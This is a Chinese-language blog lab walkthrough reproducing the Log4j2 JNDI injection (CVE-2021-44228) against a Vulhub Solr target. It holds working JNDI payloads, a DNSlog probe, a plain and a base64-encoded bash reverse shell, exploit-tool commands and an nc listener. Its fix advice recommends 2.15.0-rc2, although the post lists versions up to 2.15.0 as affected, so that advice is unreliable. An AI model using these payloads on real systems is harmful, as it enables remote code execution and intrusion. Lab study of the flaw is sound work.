Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

Apache Log4j简介

Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞介绍

log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

影响版本

Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)

漏洞编号

CVE-2021-44228

影响组件应用

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

环境准备

测试环境 IP
Kali 192.168.174.128
靶机 192.168.174.131

靶场搭建

使用vulhub进行靶场搭建,如果不会使用的请看往期文章。

Docker搭建漏洞靶场(Vulhub、Vulnapp、Vulfocus)

使用docker搭建vulfocus的漏洞靶场

cd vulhub-master/log4j/CVE-2021-44228

docker-compose up -d

浏览器访问 http://192.168.174.131:8983/ ,靶场部署成功

漏洞利用

POC测试、出现以下界面,可能存在log4j2 中存在 JNDI 注入漏洞

http://192.168.174.131:8983/solr/admin/cores?action=1

试着访问dnslog,有访问记录,存在log4j2 中存在 JNDI 注入漏洞

dnslog网站
https://www.callback.red/

poc如下:

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vx9w.callback.red}

利用工具

Log4j2 - JNDI 注入漏洞利用工具

使用方式

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

反弹shell操作

反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

在此kali攻击机构造反弹shell命令

bash -i >& /dev/tcp/192.168.174.128/9999 0>&1

将此条命令进行Java Runtime Bash 编码

编码网站

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.174.128

得到反弹shell的EXP

Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.174.128:1099/dctv93
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/fngumm
ldap://192.168.174.128:1389/fngumm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/bnntjh
ldap://192.168.174.128:1389/bnntjh

攻击机监听9999端口

nc -lvvp 9999

发送EXP

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.174.128:1099/gw42ym}
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/gw42ym}

反弹shell成功

漏洞修复建议

升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

猜你喜欢

转载自blog.csdn.net/weixin_44971640/article/details/130953327